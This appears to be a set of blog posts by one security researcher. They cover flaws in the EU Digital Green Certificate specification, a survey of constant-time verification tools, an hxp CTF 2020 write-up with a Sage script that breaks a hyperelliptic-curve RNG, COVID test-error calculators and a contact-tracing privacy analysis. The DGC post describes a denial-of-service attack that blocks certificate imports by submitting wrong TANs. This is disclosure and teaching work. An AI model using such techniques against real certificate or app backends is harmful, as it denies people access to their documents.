In fact, the introduction of this TAN check and public key binding nonsense introduced properties that make the app less usable and thus the system as a whole less secure. As designed, the DGC is importable only into one wallet app on one device and this can be done only once. See the issue again? This already disallows the scenario where parents traveling with children would both like to have their children’s certificates in their wallet apps or similar multi-user scenarios. What happens if the user uninstalls the app or loses the device that they imported their DGCs into? If one DGC is allowed to reside only in one (official) wallet app, then the wallet app provides worse usability and user experience than just keeping the DGC in the form of a document or image file. Thus rendering any potential security properties gained from users using the app pointless and driving the users away from the app and potentially towards malicious apps. It is also an undocumented limitation of the system that the reference wallet app does not warn the user about. The added complexity of dealing with DGC recovery after a lost device, which is currently unhandled, is another unnecessary burden introduced with the addition of the innocuous TAN check and public key binding.

As the final cherry on the cake of bad security properties the validation of the TAN on the backend during DGC import in the wallet app creates a possibility of a DoS attack against DGCs that were not yet imported and where the attacker knows or can guess the ID of the DGC. The attack is simple, the attacker simply sends a few requests with the wrong TAN as if they were importing the target DGC in the app (the request doesn’t contain the whole DGC but just its ID, the TAN and the generated public key) and after several tries the backend blocks the DGC from being imported into the official app. As the specification does not require the DGC IDs to be unpredictable or unknown to the attacker this attack is clearly feasible and nothing stops a member state from issuing DGCs with IDs that simply increment. This missing requirement with important impact on security is a clear example of the overall state of the DGC specifications with regards to security.

I was not the first to spot and point out some of the issues presented here, the Github user jquade posted this issue on the dgc-overview repository on May 2. The issue outlines the pointlessness of the TAN check. It was closed on May 6 with a comment that did not refute any of its points and gave a handwaving argument for the public key binding mentioning some future online scenarios.

## Security analysis not included#

The DGC specification does not even have a clear threat model which would describe what sorts of attackers it aims at. Even questions such as: What security properties does the system claim to have? Is it supposed to stop theft of DGCs, counterfeiting of DGCs, impersonation, …? are left unanswered. The only part of the specification explicitly focusing on security is found in Volume 1 on pages 8 and 9. It considers such risks as the signing algorithm (ECDSA) being found weak!? but disregards many important risks with regards to the apps by claiming that:

These cannot preemptively be accounted for in this specification but must be identified, analyzed and monitored by the Participants.

How incredibly helpful to find this in place of a proper security design and analysis 🤦.

## Conclusions#

This post presented several issues with the current specification of the Digital Green Certificates. To address the presented issues I suggest to:

• Drop the TAN and public key binding parts from Volume 4 of the specification as well as the reference implementation. Doing so decreases the complexity of the design (Keep It Simple Stupid), increases the usability of the app and aligns security with the paper form of DGCs.
• Have proper security design and analysis be part of the specification, written and reviewed by experts who know what they are doing. Digital contact tracing caught the attention of many researchers, a search on eprint.iacr.org for “contact tracing” gives 33 results, yet it gives 0 for “digital green certificate”. The EU has tons of great researchers and for spotting issues like the mentioned an ordinary IT security student should be sufficient and should spot them.
• Provide better guidance to the developers of the member states not only on the interoperability part, but also on their apps, their security, user experience and usability. If this is the state of the specification the developers are going off, the implementations are going to be different and likely worse (see 2 for an example).

To not have this post be a completely negative one, I will end on a positive note. The transparency of the DGC implementation process is laudable. The specifications are public and readable, the reference implementations along with many components used are open-source, the Github repositories are active with issues and pull requests being handled. Without all of this, this post wouldn’t exist and one could not even begin to look at the security of this system that is being implemented all across the EU.

1. They claimed that only a special “certified” verification app will be able to access the data in the certificate as they will be encrypted and the key will be stored in the verification app.

# COVID-19 vaccination notifications in Slovakia

Ak hľadáte stránku na odber notifikácii o COVID-19 očkovaní na Slovensku, nájdete ju na covid.neuromancer.sk. Stránka poskytuje notifikácie na Váš email o voľných miestach na očkovanie proti ochoreniu COVID-19 a tiež o momente otvorenia očkovacieho formuláru pre nové skupiny obyvateľov. Stránka používa informácie od NCZI avšak nie je s NCZI alebo Ministerstvom Zdravotníctva akokoľvek asociovaná. Pre registráciu na očkovanie použite formulár NCZI.

# The state of tooling for verifying constant-timeness of cryptographic implementations

This post explores the current state of tools for verification of constant-time properties in cryptographic implementations, both static and dynamic. These tools are mostly unused in the development of open-source cryptographic libraries and remain only as results of academic work. I know of only four open-source cryptographic library that utilize these tools in an automated manner, similar to how unit tests, test-vectors, or even fuzzing is commonplace. Below is a list of what popular open-source cryptographic libraries run in their Continuous Integration (CI) setups collected on a best-effort basis.

UPDATE: For an updated list of tools see the following Github page: https://crocs-muni.github.io/ct-tools/

• OpenSSL: Builds, tests, fuzzing (OSS-Fuzz)
• LibreSSL: Builds, tests, fuzzing (OSS-Fuzz)
• BoringSSL: Builds, tests, fuzzing (Custom buildbots + OSS-Fuzz), constant-time verification using a ctgrind-like approach
• BearSSL: No public CI, fuzzing (OSS-Fuzz) (constant-time documentation)
• Botan: Builds, tests, fuzzing (Travis + OSS-Fuzz), constant-time verification using ctgind
• Crypto++: Builds, tests
• wolfSSL: No public CI, fuzzing (OSS-Fuzz)
• mbedTLS: Builds, tests, fuzzing (OSS-Fuzz), constant-time verification using ctgrind and MemSan
• libtomcrypt: Builds, tests
• libgcrypt: No public CI?
• libsodium: Builds, tests, fuzzing (OSS-Fuzz)
• MatrixSSL: No public CI?
• Amazon s2n: Builds, tests, fuzzing, constant-time verification using ct-verif and SideTrail
• GnuTLS: Builds, tests, fuzzing (OSS-Fuzz)
• NSS: Builds, tests, fuzzing (OSS-Fuzz)

Of particular note is the cryptofuzz project, which fuzzes the above (and more) cryptographic libraries as part of OSS-Fuzz.

## Evaluation#

The tools presented here are evaluated and categorized based on several characteristics.

The first and most significant criterion is the general approach the tool takes and whether it is dynamic or static, e.g., whether it runs the target or not. Dynamic tools usually instrument the target in some way, observe its runs with varying inputs and then evaluate whether differences in runs leak via an observable timing side-channel. Static tools, on the other hand, usually use formal techniques from static analysis and verification of programs to analyze the target and conclude whether it is constant time, with regards to some leakage model.

A second significant criterion that differentiates many of the tools is the input level at which they work. Several tools work on the source code level, most with the C language, some with a custom domain-specific language. Other tools choose to work on a lower level, often in LLVM Intermediate Representation (IR), an assembly-like language in Static Single Assignment (SSA) form used in the LLVM toolchain but also in many open-source program analysis tools. As all of the mentioned input levels are above the assembly/binary level, they are exposed to a level of risk that a compiler will somehow introduce timing leakage, which will not be caught. This risk is entirely realistic, as general-purpose compilers do not offer side-channel resistance and have no obligation to keep the code leakage free. Finally, some tools work directly with compiled binaries and thus provide the highest guarantees that a compiler will not introduce leakage.

The leakage model used and the possibility to configure it forms another essential property of the tools. I consider the leakage model to be what the tool considers to be sources of timing leakage. There are three common leakage models that are often combined in the tools. The branching leakage model considers all branching instructions (program counter changes) conditional on secret values to be leaking. The memory-access leakage model considers all secret dependent memory accesses to be leaking. Lastly, the operand leakage model considers all use of particular instructions with secret dependent operands to be leaking the operands. This leakage model is specific to some processor architectures and instructions which take a variable time to execute, see, for example, the variable time multiplier on ARM (ARM7TDMI Technical Reference Manual). The three mentioned leakage models are usually used together. Both the branching and memory-access leakage models have a version that modifies them such that the existence of processor cache is properly modeled. For example, this allows for code that accesses memory based on a secret value, but only in the space of one cache line (sometimes as a result of applying a cache preloading countermeasure), thus a cache attacker gains no secret information. The above models, especially the operand one, have drawbacks as they require assumptions on hardware behavior or modeling of hardware, and are hardware-specific. Dynamic tools might consider a completely different leakage model, for example, the attacker might only learn the number of instructions that were executed during a run of a function, or sometimes its runtime. This model is applicable for remote or local - but not cache - timing attackers.

For static tools, the properties of soundness and completeness are achievable and essential. A sound tool only deems secure programs secure, thus has no false negatives, while a complete one only deems insecure programs insecure, thus has no false positives. Here I adopt the notion that the tool aims to detect the presence of timing leakage (positive result) and thus derive the false positive/negative notions as above. In the case of dynamic tools, soundness and completeness are often unachievable, and one can only argue about the false-negative rate and the false-positive rate or generally about classes of leakage the tool can find and of classes of program constructs the tool will flag falsely.

Connected to the notion of errors in the tool’s output is its flexibility regarding what values it considers secure detects their leakage. Some tools give the developer the ability to declassify a secret value, thereby exempting it from analysis. This is clearly a double-edged sword. While necessary for some program constructions, its abuse would lead to false negatives. One common application of declassification in cryptographic implementations is in rejection sampling, e.g., when a secret is repeatedly sampled and thrown away until a condition is satisfied. Rejection sampling leads to variable-time code, however with some slight assumptions on the random number generator and the condition on the secret, such leakage is benign and should be ignored. Another source of benign leakage exists in the form of publicly observable outputs. They arise, for example, in the decryption function of an authenticated encryption cipher, as the verification result (which is clearly secret dependent and which is returned) also affects whether the ciphertext gets decrypted. The tool support for such outputs forms another criterion which expands its possibilities of use.

Cryptographic implementations pose a unique challenge for (static) program verification tools. With cryptographic sizes of inputs and outputs, the state space (which program verification tools often work with) can be too large for the tools, even with their many analysis tricks. Thus, performance or even whether the tool is practically usable on real-world cryptographic codebases is an important criterion.

Last but not least, there is a concern for usability. It is the ease of use of the tool that, in the end, drives most of the adoption. Usability is hard to characterize, as it contains elements of all criteria discussed thus far. For example, if a domain-specific language (DSL) is used as the input level to the tool, existing projects will likely not adopt it, as it will require a rewrite of a part of their codebase. As these tools are products of research papers, the usual saying about the quality of research code, tooling and packaging applies as well. Furthermore, with the absence of proper packaging, the tools and their dependencies are often left outdated and no longer work on current versions of their dependencies. All of this points to usability being a significant concern for the adoption of tools for verification of constant-time properties.

The platform support of the tools is unclear as they usually only explicitly target and evaluate on x86. However, as their input level is often the LLVM IR or source code, they could work on other platforms.

## Tools#

The tools below are discussed in this report, ordered chronologically. Some properties of the tools are unclear and are marked with an ?. This list will hopefully grow as I find time to look at more tools and add them.

### ctgrind#

ctgrind is a patch available for the Valgrind (memcheck) tool, which adds functionality to mark areas of memory as uninitialized. This is to be used on secrets. At runtime, the memcheck tool then checks that the secret(uninitialized) memory is not used in branches or for memory access. As Valgrind’s memcheck supports the VALGRIND_MAKE_MEM_UNDEFINED and VALGRIND_MAKE_MEM_DEFINED client requests, it is now possible to implement a ctgrind-like approach without patches to Valgrind.

• Approach: Dynamic
• Input level: Source code required to embed annotations, then binary for analysis.
• Leakage model: Branching model, memory-access model
• Soundness: No, Completeness: No
• Declassification: yes, Publicly observable outputs: No
• Performance: Ok
• Usability: Good. Developers are often experienced with Valgrind and similar tools. However, the need for a custom patch, and thus a recompile of Valgrind, hinders usability, as the patch is not maintained and might get out of date or no longer be supported by upstream Valgrind.

### ct-verif#

The ct-verif tool is a static analysis tool verifying constant-time properties of code, working on the level of LLVM IR, with source code annotations. It uses the SMACK modular software verification toolchain, Bam-Bam-Boogieman for Boogie source transformation, Boogie intermediate verification language as well as the Corral and Z3 solvers.

The tool is actively deployed in the CI of Amazon’s s2n library at link. However, even there, it is only used to verify two functions that together have less than 100 lines of code.

• Approach: Static
• Input level: Source code required to embed annotations, then LLVM IR for analysis.
• Leakage model: Branching model, memory-access model, or even the operand model is possible.
• Soundness: Yes, Completeness: Yes
• Declassification: Yes, Publicly observable outputs: Yes
• Performance: ?
• Usability: Bad. The tool relies on a whole host of other tools and has been broken by updates at times. The latest update to the repository is in 2018.

### dudect#

(2016) github ePrint

dudect is a dynamic tool that uses leakage assessment techniques from physical (power and EM) side-channel analysis, namely test-vector leakage assessment (TVLA). It first runs the target using two classes of secret input data with varying public input data and measures the duration of execution for each run. It then applies a test to the two distributions of the duration of execution for the two classes (either Welch’s t-test for equality of means or Kolmogorov-Smirnov test for equality of distributions), and if the distributions differ, leakage is reported. This is analogous to how leakage assessment is used in power side-channel attacks, in that instead of comparing distributions of power consumption at points during the execution of the target, the runtime distributions are compared.

• Approach: Dynamic
• Input level: Binary
• Leakage model: Instruction counter or the runtime of a function call
• Soundness: No, Completeness: No
• Declassification: No, Publicly observable outputs: No
• Performance: Good
• Usability: Ok

### FlowTracker#

(2016) page paper code

The FlowTracker tool is a static tool that works by analyzing the Program Dependence Graph (PDG) of the target in LLVM IR form.

• Approach: Static
• Input level: LLVM IR
• Leakage model: Branching model, memory-access model.
• Soundness: Yes, Completeness: No
• Declassification: No, Publicly observable outputs: No
• Performance: Good
• Usability: Bad, uses a very old version of the LLVM compiler stack.

### SideTrail#

(2018) paper preprint

SideTrail (at one point called SideWinder) is a tool for verifying time-balanced implementations. The notion of time-balance is a weakening of the constant-time notion that allows for the presence of leakage that is provably under some bound $\delta$ (execution time is negligibly influenced by secrets). For $\delta = 0$ this notion fits well with the notion of constant-time. The tool uses a cross-product technique similar to that of ct-verif. However, instead of asserting the equality of memory accesses and program counter, it asserts the equality of an instruction counter. Its leakage model and technique are well suited against remote (non-cache) attackers.

The tool is deployed in the CI of Amazon’s s2n library at link, where it is used to verify the time-balancedness of several parts of the codebase, handling the CBC decryption, HMAC padding, and AEAD decryption.

• Approach: Static
• Input level: Source code for annotations, then LLVM IR
• Leakage model: Duration as measured by an instruction counter and a model of instruction runtime
• Soundness: ?, Completeness: ?
• Declassification: No, Publicly observable outputs: No
• Performance: Ok.
• Usability: Ok. It requires code annotations, as well as providing manual assumptions and loop invariants to ease the verifier’s work.

### MicroWalk#

(2018) github arXiv

The MicroWalk framework is a dynamic tool that uses Dynamic Binary Instrumentation (DBI) and Mutual Information Analysis (MIA). As a dynamic tool, it runs the target with random inputs and uses dynamic binary instrumentation to log events such as memory allocations, branches, calls, returns, memory reads/writes as well as stack operations into an execution trace. It then processes these traces by applying the chosen leakage model, i.e., in the branching model, it only keeps the control flow events in the execution traces. After collection of traces, it offers several analysis options, either directly comparing the traces or using mutual information analysis either on the whole trace or a specific offset in the execution traces (a specific instruction).

• Approach: Dynamic
• Input level: Binary
• Leakage model: Branching model, memory-access model, with the possibility of extending that allows the operand model as well.
• Soundness: No, Completeness: No
• Declassification: No, Publicly observable outputs: No
• Performance: Good
• Usability: Good. It was Windows-only until recently, but now it also supports Linux.

### DATA#

(2018,2020) github paper(2018) paper(2020)

DATA (Differential Address Trace Analysis) is a tool quite similar to the Microwalk framework in that it is a dynamic tool that records memory-accesses of the target into address traces as it processes random secret inputs. The traces are then aligned and analyzed using generic and specific leakage tests. The tool reports the location of leakage and even offers a graphical user interface for analysis.

• Approach: Dynamic
• Input level: Binary
• Leakage model: Branching model, memory-access model.
• Soundness: No, Completeness: No
• Declassification: No, Publicly observable outputs: No
• Performance: Ok
• Usability: Good

### FaCT#

(2019) github paper

The FaCT tool is less of a tool for analysis of implementations for timing leakage and more of a domain-specific language for writing constant-time implementations that automatically removes leakage during compilation. The language is C-like, compiles into LLVM IR, and offers the secret keyword, which is used to mark certain variables as secret, which then triggers the compiler to generate constant-time code with regards to their values.

• Approach: Static
• Input level: A domain-specific language called FaCT
• Leakage model: Branching model, memory-access model, and operand model.
• Soundness: Yes, Completeness: No
• Declassification: Yes, Publicly observable outputs: No
• Performance: Ok
• Usability: Bad for projects with existing codebases as it requires the use of a compiled DSL. Good for new implementations, as it was user-tested and found to improve the developer’s ability to write constant-time code.

### ct-fuzz#

(2019) github paper arXiv

ct-fuzz takes inspiration from ct-verif in its method but diverges significantly. It first constructs a product program using self-composition of the target with itself, where it asserts that at each point that the memory address accessed by the two programs, whether through control from or indexing, is the same. It then uses a fuzzer against this product program, which splits its fuzzing input equally into the secret inputs for the two instances or the original program in the product program. If the fuzzer detects a failed assert, leakage is detected, as it found two runs through the target, which differ only in secret inputs yet access different offsets in memory.

• Approach: Dynamic, using fuzzing, with static analysis used to construct the fuzzed program.
• Input level: LLVM IR, implemented as an LLVM IR transformation in afl-fuzz but requires source code to embed annotations.
• Leakage model: The branching model and the memory-access model are used together, with the configurable option of extending them to be cache-aware.
• Soundness: No, Completeness: Yes
• Declassification: Yes, Publicly observable outputs: No
• Performance: Good
• Usability: Ok, uses afl-fuzz, which is a well-known fuzzing tool. However, it uses outdated versions of several dependencies and thus cannot be build without downgrading or fixing them.

### TIMECOP#

(2020) page page(SUPERCOP)

The TIMECOP tool is a tool that uses Valgrind’s memcheck client requests VALGRIND_MAKE_MEM_{UN}DEFINED to essentially implement a method like ctgrind. It is a part of the SUPERCOP toolkit (System for Unified Performance Evaluation Related to Cryptographic Operations and Primitives) and is used to evaluate the constant-time properties of implementations in SUPERCOP.

• Approach: Dynamic
• Input level: Source code required to embed annotations, then binary for analysis.
• Leakage model: Branching model, memory-access model
• Soundness: No, Completeness: No
• Declassification: Yes, Publicly observable outputs: No
• Performance: Good
• Usability: Ok

### Binsec/Rel#

(2020) paper preprint

Binsec/Rel is a static analysis tool that works on the binary level, thereby overcoming issues of compilers inserting non-constant-time code or turning constant-time code into non-constant-time one.

• Approach: Static
• Input level: Binary
• Leakage model: Branching model, memory-access model.
• Soundness: Yes, Completeness: Yes
• Declassification: No, Publicly observable outputs: No
• Performance: Good
• Usability: ?

### Miscellaneous#

Several other tools and languages exist that are related to the analysis of implementations for verifying constant-time properties. I chose to omit a detailed analysis of these tools for now, as the analyzed selection presents a good sample of what the landscape has to offer. Several of these tools also enable one to remove leaks from leaking implementations or create constant-time implementations. We list the tools below in no particular order.

## Conclusions#

There is an abundance of tools for verifying constant-time properties of cryptographic implemenetations, yet none seem to be actually used in an automated way outside of the papers that introduced them. This is troubling, as their impact is then limited to the select few implementations that the authors chose to verify in a given work while real-world cryptographic libraries change daily and have no automated verification.

From the analyzed static tools, ct-verif and SideTrail stand out, as they are actively deployed; of note is also the Binsec/Rel tool for its approach on a binary level.

The usability of dynamic tools is usually much better than that of static tools, with ctgrind/timecop‘s approach being almost zero cost in terms of integration as ordinary tests or fuzzing together with Valgrind suffice. The dudect tool could also be used in continuous integration, provided some test harnesses are created for it. The MicroWalk/DATA tools are quite similar and might be more suited to interactive testing of implementations.

# hxp ctf 2020 - Hyper

This year I took part in the hxp ctf with a bunch of friends from and around the CRoCS lab. Our team Crocs-Side-Scripting finished at the 58th place. As this was our first CTF and my first real CTF, I quite like the outcome and enjoyed the experience. This post outlines our solution to the crypto hyper challenge, which focuses on Hyperelliptic curves.

## The challenge#

The challenge constructs a random number generator using a Hyperelliptic curve of genus 3 (and arithmetic on it), then generates some bytes using it which it XORs with the message Hello! The flag is: hxp{...}.

The code is in Sage and first creates a hyperelliptic curve $$C$$ of genus $$3$$ of the form $$y^2 = x^7 + x$$ over a 64-bit prime field. What is interesting about hyperelliptic curves is that their set of $$\mathbb{K}$$-rational points (for $$\mathbb{K}$$ being some extension of the base field) does not form a group like it is for elliptic curves. There is however a group associated to each hyperelliptic curve, its Jacobian. The elements of the Jacobian are divisors, one might imagine them as a formal sum $$\sum_i^m n_i P_i$$ of some points $$P_i$$ with $$n_i \in \mathbb{Z}$$. To my best understanding when mathematicians are talking about a formal sum they are talking about doing a sum, but then instead of doing it, they … don’t do it. In this case it also cannot be computed, as there is no addition defined on the points of the hyperelliptic curve. The sum in the divisor can contain a number of points upto and equal to the genus of the curve, some might however be defined over extensions of the base field. The operation defined on the divisors is too complicated and unnecessary for this write-up, but more can be found in the SageMath docs and in the helpful An Introduction to Elliptic and Hyperelliptic Curve Cryptography and the NTRU Cryptosystem.

#!/usr/bin/env sage
import struct
from random import SystemRandom

p = 10000000000000001119

R.<x> = GF(p)[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()


The RNG is seeded with three random integers in the range $$[0, p^3]$$ which makes them roughly 192 bits. During initialization, the RNG also creates three fixed points on the curve (with $$x$$-coords $$11, 22$$ and $$33$$) and transforms them into a divisors on the Jacobian. The RNG calls the clk function and processes the results whenever it runs out of bytes. The generation of the first byte triggers this clocking. The clocking takes the current list of the three divisors and multiplies them with the three secret random integers in self.es. These three divisors are then summed and this sum is decomposed into two elements (u, v = sum(self.clk())).

In Sage, divisors on the Jacobian are represented using the Mumford representation. This representation consists of two polynomials $$u(x)$$ and $$v(x)$$. It holds that $$u(x)$$ is monic, $$u(x)$$ divides $$f(x) - h(x) v(x) - v(x)^2$$ where $$f(x)$$ and $$h(x)$$ are polynomials associated with the curve. It also holds that $$deg(v(x)) < deg(u(x)) \le g$$ where $$g$$ is the genus of the curve, in our case $$3$$. When one has a divisor on the Jacobian in Sage and indexes into it or decomposes it into two elements the two polynomials $$u(x)$$ and $$v(x)$$ are returned, which is what happens on the u, v = sum(self.clk()) line.

The rest of the RNG is straightforward, it takes the six coefficients from the Mumford representation of the summed divisor (three from $$u(x)$$ and three from $$v(x)$$) and converts them to 8-byte integers, then concatenates them into a 48-byte string which used as the RNG output.

class RNG(object):

def __init__(self):
self.es = [SystemRandom().randrange(p**3) for _ in range(3)]
self.Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
self.q = []

def clk(self):
self.Ds = [e*D for e,D in zip(self.es, self.Ds)]
return self.Ds

def __call__(self):
if not self.q:
u,v = sum(self.clk())
rs = [u[i] for i in range(3)] + [v[i] for i in range(3)]
assert 0 not in rs and 1 not in rs
self.q = struct.pack('<'+'Q'*len(rs), *rs)
r, self.q = self.q[0], self.q[1:]
return r

def __iter__(self): return self
def __next__(self): return self()


The rest of the challenge uses the RNG to compute 48 random bytes and XORs the output with the message.

flag = open('flag.txt').read().strip()
import re; assert re.match(r'hxp\{\w+\}', flag, re.ASCII)

text = f"Hello! The flag is: {flag}"
print(bytes(k^^m for k,m in zip(RNG(), text.encode())).hex())


## The solution#

The first important realization is that due to the message starting with Hello! The flag is: hxp{ the first 24 bytes of the output of the RNG are known. In the algorithm, this corresponds to the knowledge of the u[i] for i in range(3) in the __call__ function. These u[i] represent the coefficients of the $$u(x)$$ polynomial in the Mumford representation of the divisor. What we do not know are the next 24 bytes of the RNG output, which correspond to the coefficients of the $$v(x)$$ polynomial in the Mumford representation of the divisor, so our task is to somehow recover them.

To recover the $$v(x)$$ polynomial, one needs to think about the correspondence between the points in the divisor and its Mumford representation. It holds that roots of the $$u(x)$$ polynomial are $$x$$-coordinates of the points in the formal sum in the divisor. Furthermore, for $$x_i$$ a root of $$u(x)$$, $$y_i = v(x_i)$$ is the $$y$$-coordinate of the represented point. We can use this recover the $$v(x)$$ polynomial. The $$v(x)$$ polynomial has degree smaller than three so we can represent it as $$a x^2 + b x + c$$ with $$a, b, c \in \mathbb{K}$$. Using the three roots $$x_i$$ of the $$u(x)$$ polynomial we can form three linear equations over $$\mathbb{\overline{K}}$$ of the form $$v^2(x) = x^7 + x$$. Plugging in our form of the polynomial $$v(x)$$ we get $$(a x^2 + b x + c)^2 = x^7 + x$$, for each $$x$$ from the roots of the $$u(x)$$ polynomial. For easier solving we will take the square root of the equation and get $$a x^2 + b x + c = (x^7 + x)^{1/2}$$. This is what the Sage script below does, with some additional fiddling of the ordering of the coefficients of $$v(x)$$ when they are transformed into bytes for the RNG output.

#!/usr/bin/env sage
from binascii import unhexlify, hexlify
from itertools import permutations

p = 10000000000000001119
k = GF(p)
kc = k.algebraic_closure()

R.<x> = k[]; y=x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()

msg_prefix = b"Hello! The flag is: hxp{"

with open("output.txt") as f:

bs = []
for c, m in zip(content, msg_prefix):
# Do the XOR, obtain k
b = c^^m
print(b)
bs.append(b)

u0 = int.from_bytes(bytes(bs[:8]), byteorder="little")
u1 = int.from_bytes(bytes(bs[8:16]), byteorder="little")
u2 = int.from_bytes(bytes(bs[16:24]), byteorder="little")
print(hex(u0), hex(u1), hex(u2))

ps = x^3 + u2 * x^2 + u1 * x + u0  # TODO: this ordering might be the other way around.
aps_roots = ps.roots(ring=kc, multiplicities=False)
x0, x1, x2 = aps_roots

A = Matrix(((x0^2, x0, kc(1)), (x1^2, x1, kc(1)), (x2^2, x2, kc(1))))
Y = vector((x0^7 + x0, x1^7 + x1, x2^7 + x2))
Ys = vector((-Y[0].sqrt(), -Y[1].sqrt(), -Y[2].sqrt())) # TODO: Maybe the other sqrt?

v = A.solve_right(Ys)
print(v)
v0 = int(str(v[0])).to_bytes(8, byteorder="little")
v1 = int(str(v[1])).to_bytes(8, byteorder="little")
v2 = int(str(v[2])).to_bytes(8, byteorder="little")

for a0, a1, a2 in permutations((v0, v1, v2)):
cs = []
q = bytes(bs) + a0 + a1 + a2
for c, m in zip(content, q):
# Do the XOR, obtain k
b = c^^m
cs.append(chr(b))
print("".join(cs))


And there it is: Hello! The flag is: hxp{ez_P4rT_i5_ez__tL0Cm}.

# Population-wide antigen testing for COVID-19 in Slovakia

Slovensko plánuje celoplošné antigénové testovanie na COVID-19 a z pohľadu na tlačovky to vyzerá, že to robí nie práve informovane. Tento príspevok obsahuje interaktívny nástroj na odhadovanie a výpočet chybovosti týchto testov na populácii. Na výpočet toho, koľko pozitívnych prípadov test zachytí (true positive) či koľko negatívnych ľudí prehlási za pozitívnych (false positive) je treba niekoľko parametrov. Parametre Populácia, Účasť a Nakazení sú odhady, pričom odhad nakazených v populácii (a aj motivácia za týmto príspevkom) je z príspevku Richarda Kollára. Odhad Senzitivity testu je z porovnávacej štúdie FN Motol. Odhad Špecificity testu je pomerne optimistický a väčšina štúdii ho pre plánované antigénové testy určuje nižšie.

Nástroj je interaktívny a odhady parametrov je možné meniť.

## Metóda 1Method 1

Populácia
Účasť
Nakazení
Senzitivita testu
Špecificita testu
Pravdivo pozitívni Falošne pozitívni Pravidivo negatívni Falošne negatívni Netestovaní pozitívni
Kód ktorý robí výpočet môžete nájsť nižšie (JavaScript) a vo forme Jupyter notebooku aj na binderi.
// Calculate the population that will get tested
let tested_population = population * participation;

// Calculate the infected among the tested and non-tested
// Assumption that attendance is uniform among infected and non-infected
let tested_infected = infected * participation;
let tested_clean = tested_population - tested_infected;

// Calculate the true/false and negative/positive from the tested sample,
// with given sensitivity and specificity
let true_clean = tested_clean * specificity;
let false_infected = tested_clean * (1 - specificity);
let true_infected = tested_infected * sensitivity;
let false_clean = tested_infected * (1 - sensitivity);

// Calculate the missed infected
let missed_infected = infected * (1 - participation);
return {
"true_negative": true_clean,
"false_positive": false_infected,
"true_positive": true_infected,
"false_negative": false_clean,
"missed_positive": missed_infected
};


## Metóda 2Method 2

Populácia
Testovaní
Senzitivita testu
Špecificita testu
Pozitívne otestovaní
Infikovaní testovaní Neinfikovaní testovaní Infikovaní celkovo Neinfikovaní celkovo
Pravdivo pozitívni Falošne pozitívni Pravidivo negatívni Falošne negatívni Netestovaní pozitívni
Kód ktorý robí výpočet môžete nájsť nižšie (JavaScript) a vo forme Jupyter notebooku aj na binderi.
let attendance = tested / population;
let tested_negative = tested - tested_positive;

// Calculate the number of infected among the tested
let tested_infected = (specificity * tested_positive - (1 - specificity) * tested_negative) / (specificity + sensitivity - 1);
let tested_clean = tested - tested_infected;

// Assumption that attendance is uniform among infected and non-infected
let total_infected = (tested_infected / tested) * population;
let total_clean = (tested_clean / tested) * population;

// Calculate the missed infected
let missed_infected = total_infected - tested_infected;

// Calculate the true/false and negative/positive from the tested sample, with given sensitivity and specificity
let true_clean = tested_clean * specificity;
let false_infected = tested_clean * (1 - specificity);
let true_infected = tested_infected * sensitivity;
let false_clean = tested_infected * (1 - sensitivity);
return {
"tested_infected": tested_infected,
"tested_clean": tested_clean,
"total_infected": total_infected,
"total_clean": total_clean,
"true_negative": true_clean,
"false_positive": false_infected,
"true_positive": true_infected,
"false_negative": false_clean,
"missed_positive": missed_infected
};


## VysvetlivkyLegend

• Pravdivo pozitívny: Prípad kedy bol pozitívny človek správne identifikovaný testom ako pozitívny. Z populácie sa tak izolujú symptomatickí aj asymptomatickí ľudia a preruší sa tak táto vetva prenosu ochorenia.
• Falošne pozitívny: Prípad kedy človek nemá COVID-19 avšak bol testom falošne identifikovaný ako pozitívny (bude absolvovať karanténu a následne si môže myslieť, že COVID-19 už prekonal a má imunitu).
• Pravdivo negatívny: Prípad kedy bol negatívny človek správne identifikovaný testom ako negatívny.
• Falošne negatívny: Prípad kedy človek má COVID-19 avšak bol testom falošne identifikovaný ako negatívny (a bude mať rozšírené možnosti pohybu na verejnosti).
• Netestovaný pozitívny: Prípad kedy človek má COVID-19, avšak nezúčastnil sa celoplošného testovania (a bude mať obmedzené možnosti pohybu na verejnosti).

# CHES 2020 - Minerva: The curse of ECDSA nonces

I recently presented our work on the Minerva group of vulnerabilities on the Cryptographic Hardware and Embedded Security conference. Our joint work with Vladimir Sedlacek, Petr Svenda and Marek Sys received the CHES 2020 Best Paper Award . The slides for the short conference talk can be found here.

# Analysis of the Covid19 ZostanZdravy app - Contact-tracing

This post analyzes the Slovak contact-tracing app Covid19 ZostanZdravy from a security and privacy perspective. The app is being developed by volunteers from Sygic, but is officially running under control of NCZI, the National Health Information Center, with data ownership by UVZ, the Public Health Authority of Slovakia (see the privacy policy). This analysis was performed from publicly available sources, which was possible as both the app and backend are open-source (the analyzed commits were 400aa52, 2710f09 and f9b9d2c). The text below represents the issues I see in the current workings of the contact-tracing part of the app and provides an outlook on fixing them and moving forward. The analysis represents a best effort analysis done in a day, it might contain errors, or I might have misrepresented something, I am open to comments .

## Privacy

The app does not use an established contact-tracing protocol, such as DP-3T, PEPP-PT NTK or ROBERT, but instead uses a custom designed protocol to perform contact-tracing. This is because the app predates those protocols by a few weeks. The contact-tracing protocol is a BLE-based contact-tracing protocol with static IDs that roughly works as follows:
1. The user installs the app, which generates a deviceID a random UUID of the device, enrolls this device with the server and receives back a profileID which is an unsigned integer, assigned in a increasing sequence by the server.
2. The app then broadcasts the profileID of the device on BLE and listens to other broadcasted profileIDs of other devices.
3. The app then periodically upload a list of seen profileIDs to the server. This upload and all of the app's interaction with the server is authenticated by the deviceID which is sent to the server in every request and is kept on the device otherwise. The uploaded list of contacts used to contain the time and duration of the contacts, but this was abandoned and instead only the day of contact is uploaded.
4. When the user becomes infected, the actions of the protocol become unclear, as the open-source backend is just an HTTP API, the administration of the whole system is done through an admin app that interacts with the backend, but is not open-source. However, something can be deduced from the API offered by the backend, as it offers one administrative call to query the seen profileIDs by a given device (identified by both the deviceID and profileID). This call is likely used by the admin app to query the contacts of a newly infected user and send alerts/quarantine recommendations to them. It is important to note that this call reports one-sided contacts as reported by the users.

This approach clearly provides the whole contact graph of a user's device to the server, whether the user is infected or not. Such a contact graph, while it is pseudonymous, leaks significant private information about the users to the server (see this document, section 4).

## Contact reporting

